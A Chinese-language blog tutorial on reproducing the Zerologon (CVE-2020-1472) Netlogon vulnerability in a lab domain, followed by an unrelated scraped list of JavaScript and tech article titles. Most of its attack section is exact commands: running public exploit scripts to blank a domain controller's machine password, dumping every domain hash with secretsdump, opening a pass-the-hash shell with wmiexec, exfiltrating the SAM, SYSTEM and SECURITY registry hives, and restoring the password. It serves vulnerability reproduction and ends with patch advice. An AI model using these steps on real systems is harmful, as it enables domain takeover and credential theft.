CVE-2020-1472复现指北
简介
2020年8月11号,微软修复了Netlogon 特权提升漏洞,当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
要利用此漏洞,未通过身份验证的攻击者需要将 MS-NRPC 连接到域控制器,以获取域管理员访问权限。而2020年9月15日,secura发布了漏洞细节,之后相关的EXP也就被构造出来,漏洞原理
Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空
影响版本
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
环境简介
DC
DC_SYSTEM_VERSION :Windows Server 2012 R2 Standard
DC_NETBIOS_NAME :WIN-OO8C153PBTA
DC_IP_ADDR :192.168.139.134
Attack
ATT_SYSTEM_VERSION
ATT_IP_ADDR:192.168.139.128
Python_VERSION:3.8.2
漏洞验证
我们可以使用如下命令进行漏洞验证
git clone https://github.com/SecuraBV/CVE-2020-1472
cd CVE-2020-1472
pip install -r requirements.txt
python zerologon_tester.py DC_NETBIOS_NAME DC_IP_ADDR
如果有下图提示,则漏洞存在
漏洞利用
整体流程
整个利用过程大概是下列流程
- 置空域控保存在AD中的密码
- 获取域控用户HASH
- 通过获取到的管理员HASH得到一个SHELL,然后连接上去导出原来计算机中本地保存的HASH
- 通过获取到的HASH恢复置空的域控密码
利用复现
环境配置
攻击机环境要求python版本再3.7以上,而且要获取最新版的Impacket,否则会产生如下报错报错(新版本中更新了我们利用中会用到的函数NetrServerPasswordSet2)
AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'
安装Impacket
git clone https://github.com/SecureAuthCorp/impacket
cd impacketpip
install .
下载EXP
# ~/impacket/
cd examples
git clone https://github.com/dirkjanm/CVE-2020-1472
cd CVE-2020-1472
置空密码
# ~impacket/examples/CVE-2020-1472
python cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR
这时候密码已经置空
注意:对域控服务器有影响,谨慎使用
获取HASH
接下来我们通过secretsdump.py根据DRS协议来获取相关的HASH,这里注意Windows用户在终端中的命令无需转义
~impacket/examples/
# windows
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
# others
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
获取SHELL
获取到HASH之后接下来我们就可以利用wmiexec.py登录,从而获取一个SHELL
~impacket/examples/
python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR
获取原HASH
获取SHELL后我们执行以下命令,导出SAM中原来的HASH
# shell
reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
解析HASH
执行如下命令,利用secretsdump.py解析保存在本地的nt hash
# ~impacket/examples
python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
然后我们保存上图中红框部分,即
# ORI_HASH
c165a47a84dce08168cc7f52d9b44712
恢复HASH
# ~impacket/examples/zerologon
git clone https://github.com/risksense/zerologon
cd zerologon
python reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR <ORI_HASH>
检查是否恢复
我们这时候再用获取HASH时测试一下是否已经已经恢复
# ~/impacket/examples
# windows
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
# others
python secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -just-dc -no-pass
修复建议
安装符合操作系统的漏洞补丁,详情请见:https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-1472
参考来源
- https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-1472
- https://github.com/SecureAuthCorp/impacket/
- https://github.com/VoidSec/CVE-2020-1472
- https://github.com/risksense/zerologon
- https://www.cnblogs.com/goabout2/p/13676527.html
- https://www.secura.com/blog/zero-logon
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 究竟!为什么处理排序后的数组比没有排序的快?想过没有?
- 2020 年最牛逼的 10 门编程语言
- Nginx系列:Nginx源码安装
- Nginx系列:负载均衡
- low版爬虫脚本,Python简单图片爬虫案例
- 漫画:什么是计数排序?
- SEO工具脚本,Python百度普通收录API提交工具
- Elastic Stack 实现日志的自动采集、搜索和分析
- 致开发人员:沉迷面向对象编程不可自拔?函数式编程了解一下
- MySQL空间函数实现位置打卡
- 单细胞交响乐8-marker基因检测
- 用TensorFlow.js在浏览器中进行实时语义分割 | MixLab算法系列
- python实现高性能mock服务
- 数据可视、语义分割、T_Youtube、智能调酒 | Mixlab人工智能合集
- Appium自动化测试框架探索与实践